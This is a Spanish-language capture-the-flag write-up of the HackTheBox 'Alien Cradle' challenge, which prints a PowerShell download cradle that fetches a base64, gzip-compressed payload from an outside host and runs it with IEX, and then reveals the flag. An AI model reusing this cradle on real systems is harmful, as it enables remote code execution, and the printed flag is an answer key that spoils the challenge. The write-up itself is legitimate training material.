xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackTheBox

Alien Cradle



Enumeración


Una vez descomprimido el zip podemos ver los archivos que nos deja, solo nos deja un archivo con el nombre creadle.ps1 que es un script escrito en powershell

❯ ls
 cradle.ps1  

Al leerlo este se divide en varios comandos separados por ; en uno la variable $f

❯ cat cradle.ps1 
if([System.Security.Principal.WindowsIdentity]::GetCurrent().Name -ne 'secret_HQ\Arth'){exit};$w = New-Object net.webclient;$w.Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;$d = $w.DownloadString('http://windowsliveupdater.com/updates/33' + '96f3bf5a605cc4' + '1bd0d6e229148' + '2a5/2_34122.gzip.b64');$s = New-Object IO.MemoryStream(,[Convert]::FromBase64String($d));$f = 'H' + 'T' + 'B' + '{p0w3rs' + 'h3ll' + '_Cr4d' + 'l3s_c4n_g3t' + '_th' + '3_j0b_d' + '0n3}';IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();  


Explotación


Podemos juntar manualmente los caracteres de la variable $f o ejecutar el comando donde se define en una pwsh y despues mostrar el valor de la variable

❯ pwsh
PowerShell 7.2.6
Copyright (c) Microsoft Corporation.

PS /home/kali> $f = 'H' + 'T' + 'B' + '{p0w3rs' + 'h3ll' + '_Cr4d' + 'l3s_c4n_g3t' + '_th' + '3_j0b_d' + '0n3}'  
PS /home/kali> echo $f
HTB{p0w3rsh3ll_Cr4dl3s_c4n_g3t_th3_j0b_d0n3}
PS /home/kali>